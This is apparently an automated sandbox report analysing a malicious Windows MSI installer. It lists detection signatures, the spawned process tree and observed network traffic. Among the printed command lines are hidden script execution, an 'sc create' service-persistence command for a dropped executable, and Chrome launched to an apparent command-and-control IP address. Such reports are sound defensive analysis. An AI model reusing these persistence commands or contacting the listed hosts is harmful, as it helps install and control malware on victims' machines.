Edit tour

Windows Analysis Report
hBqTrQLya4.msi

Overview

General Information

Sample name:	hBqTrQLya4.msi renamed because original name is a hash value
Original sample name:	29772a95fb3ed50319dc74f8be52963ee621dc151ccd94b10ea14a7123c268f7.msi
Analysis ID:	1467456
MD5:	5421cd4bbb277efc5b163a75cac629ff
SHA1:	0d20c0bb978dad6bbd9065ebfc20680c241ac1e0
SHA256:	29772a95fb3ed50319dc74f8be52963ee621dc151ccd94b10ea14a7123c268f7
Tags:	msi
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Drops executables to the windows directory (C:\Windows) and starts them

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Switches to a custom stack to bypass stack traces

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries keyboard layouts

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

msiexec.exe (PID: 5952 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\hBqTrQLya4.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 7072 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 5776 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 6BAD67B4EB347E35097C3D98448E2079 MD5: 9D09DC1EDA745A5F87553048E57620CF)

MSIDD62.tmp (PID: 7392 cmdline: "C:\Windows\Installer\MSIDD62.tmp" /DontWait /HideWindow "C:\Users\user\Documents\Windows10.cmd" C:\Users\user\Documents\ MD5: 768B35409005592DE2333371C6253BC8)

MSIDD92.tmp (PID: 7408 cmdline: "C:\Windows\Installer\MSIDD92.tmp" /DontWait /HideWindow "C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\ MD5: 768B35409005592DE2333371C6253BC8)

windows10.exe (PID: 7416 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 8260 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" /systemstartup MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 8272 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" -type:exit-monitor-method:collectupload-session-token MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 8288 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=utility--utility-sub-type=network.mojom. MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 8304 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=gpu-process--field-trial-handle=4305.474 MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 8312 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=renderer--field-trial-handle=4304.754958 MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

windows10.exe (PID: 8524 cmdline: "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" neto2 MD5: BDC0CFF1E6E3DB489864041A623F0D1E)

cmd.exe (PID: 7516 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Documents\Windows10.cmd" C:\Users\user\Documents\" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 7620 cmdline: sc create MeuServico binPath= "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 7648 cmdline: sc start MeuServico MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 7540 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chrome.exe (PID: 7744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://45.90.123.184/clientes/inspecionando.php MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 8024 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2224,i,3053730682193171380,1241186122492042118,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000020.00000002.2509121919.0000000000A41000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000001B.00000002.2499757267.0000000000931000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000001A.00000002.2500173208.0000000000AD1000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000001E.00000002.2500873728.00000000009F1000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000001D.00000002.2500761297.0000000000951000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000E.00000002.2500868091.00000000008F1000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000001C.00000002.2499650796.00000000009A1000.00000020.00000001.01000000.00000007.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: sc create MeuServico binPath= "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" start= auto, CommandLine: sc create MeuServico binPath= "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" start= auto, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Documents\Windows10.cmd" C:\Users\user\Documents\", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7516, ParentProcessName: cmd.exe, ProcessCommandLine: sc create MeuServico binPath= "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" start= auto, ProcessId: 7620, ProcessName: sc.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for domain / URL

Source: http://www.audio-tool.net	Virustotal: Detection: 5%			Perma Link
Source: http://45.90.123.184/favicon.ico	Virustotal: Detection: 8%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll	ReversingLabs: Detection: 50%
Source: C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll	Virustotal: Detection: 43%			Perma Link

Multi AV Scanner detection for submitted file

Source: hBqTrQLya4.msi

ReversingLabs: Detection: 31%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 87.0% probability

Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49720 version: TLS 1.2

Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbC source: MSIDD62.tmp, 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmp, MSIDD62.tmp, 0000000C.00000000.1281513360.000000000042D000.00000002.00000001.01000000.00000004.sdmp, MSIDD92.tmp, 0000000D.00000000.1281837809.0000000000DBD000.00000002.00000001.01000000.00000005.sdmp, MSIDD92.tmp, 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmp, hBqTrQLya4.msi
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: hBqTrQLya4.msi
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: MSIDD62.tmp, 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmp, MSIDD62.tmp, 0000000C.00000000.1281513360.000000000042D000.00000002.00000001.01000000.00000004.sdmp, MSIDD92.tmp, 0000000D.00000000.1281837809.0000000000DBD000.00000002.00000001.01000000.00000005.sdmp, MSIDD92.tmp, 0000000D.00000002.1294056060.0000000000DBD000.00000002.00000001.01000000.00000005.sdmp, hBqTrQLya4.msi

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_004205E9 FindFirstFileExW,	12_2_004205E9
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DB05E9 FindFirstFileExW,	13_2_00DB05E9
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_008FD08C FindFirstFileW,	14_2_008FD08C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 26_2_00ADD08C FindFirstFileW,	26_2_00ADD08C

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.72
Source: unknown	TCP traffic detected without corresponding DNS query: 45.90.123.184

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FsnEL8SGae9S84c&MD=S8EAWlWO HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FsnEL8SGae9S84c&MD=S8EAWlWO HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /clientes/inspecionando.php HTTP/1.1Host: 45.90.123.184Connection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 45.90.123.184Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://45.90.123.184/clientes/inspecionando.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /clientes/inspecionando.php HTTP/1.1Host: 45.90.123.184Connection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://45.90.123.184/clientes/inspecionando.phpAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic

DNS traffic detected: DNS query: www.google.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 04 Jul 2024 07:13:17 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 275Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 34 35 2e 39 30 2e 31 32 33 2e 31 38 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 45.90.123.184 Port 80</address></body></html>

Source: cont.cmd.2.dr	String found in binary or memory: http://45.90.123.184/clientes/inspecionando.php
Source: windows10.exe, 00000020.00000003.1624320924.000000007F8AE000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/
Source: windows10.exe, 0000000E.00000000.1282464047.0000000000497000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.audio-tool.net
Source: windows10.exe, 00000020.00000003.1624320924.000000007F8AE000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2679332883.0000000004C6C000.00000004.00001000.00020000.00000000.sdmp, windows10.exe, 00000020.00000002.2659394970.0000000003E40000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.indyproject.org/
Source: windows10.exe, 00000020.00000002.2679332883.0000000004D48000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/tBXs1wCj

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.104.72:443 -> 192.168.2.7:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.7:49720 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: StarBurn.dll.2.dr	Static PE information: section name: .ri$
Source: StarBurn.dll.2.dr	Static PE information: section name: .)5y

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01B3E928 NtQuerySystemInformation,		14_2_01B3E928
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_01DBA7C0 NtSetInformationThread,		14_2_01DBA7C0

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\49d147.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID686.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID6F5.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID754.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID783.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID7D3.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{5DF9F6C2-148A-4336-9D2A-77B6884D39DA}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID8CE.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDD62.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIDD92.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSID686.tmp

Jump to behavior

Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_00416078	12_2_00416078
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_003ED060	12_2_003ED060
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_0041B336	12_2_0041B336
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_00424609	12_2_00424609
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_0040F700	12_2_0040F700
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_00409730	12_2_00409730
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_004118EF	12_2_004118EF
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_004138A0	12_2_004138A0
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_0041E919	12_2_0041E919
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_0040FA8E	12_2_0040FA8E
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_0041DB30	12_2_0041DB30
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_00422EC5	12_2_00422EC5
Source: C:\Windows\Installer\MSIDD62.tmp	Code function: 12_2_003F0E90	12_2_003F0E90
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DA6078	13_2_00DA6078
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00D7D060	13_2_00D7D060
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DAB336	13_2_00DAB336
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DB4609	13_2_00DB4609
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00D9F700	13_2_00D9F700
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00D99730	13_2_00D99730
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DA18EF	13_2_00DA18EF
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DA38A0	13_2_00DA38A0
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DAE919	13_2_00DAE919
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00D9FA8E	13_2_00D9FA8E
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DADB30	13_2_00DADB30
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00DB2EC5	13_2_00DB2EC5
Source: C:\Windows\Installer\MSIDD92.tmp	Code function: 13_2_00D80E90	13_2_00D80E90
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_009ACA2C	14_2_009ACA2C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_009ACB70	14_2_009ACB70
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_0092FD40	14_2_0092FD40
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BA6710	14_2_00BA6710
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00ADA2CD	14_2_00ADA2CD
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00BB7410	14_2_00BB7410
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00B146B0	14_2_00B146B0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00AED9E0	14_2_00AED9E0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00AD2AA0	14_2_00AD2AA0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00AD5A34	14_2_00AD5A34
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00B99F6C	14_2_00B99F6C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 14_2_00AD9F4D	14_2_00AD9F4D
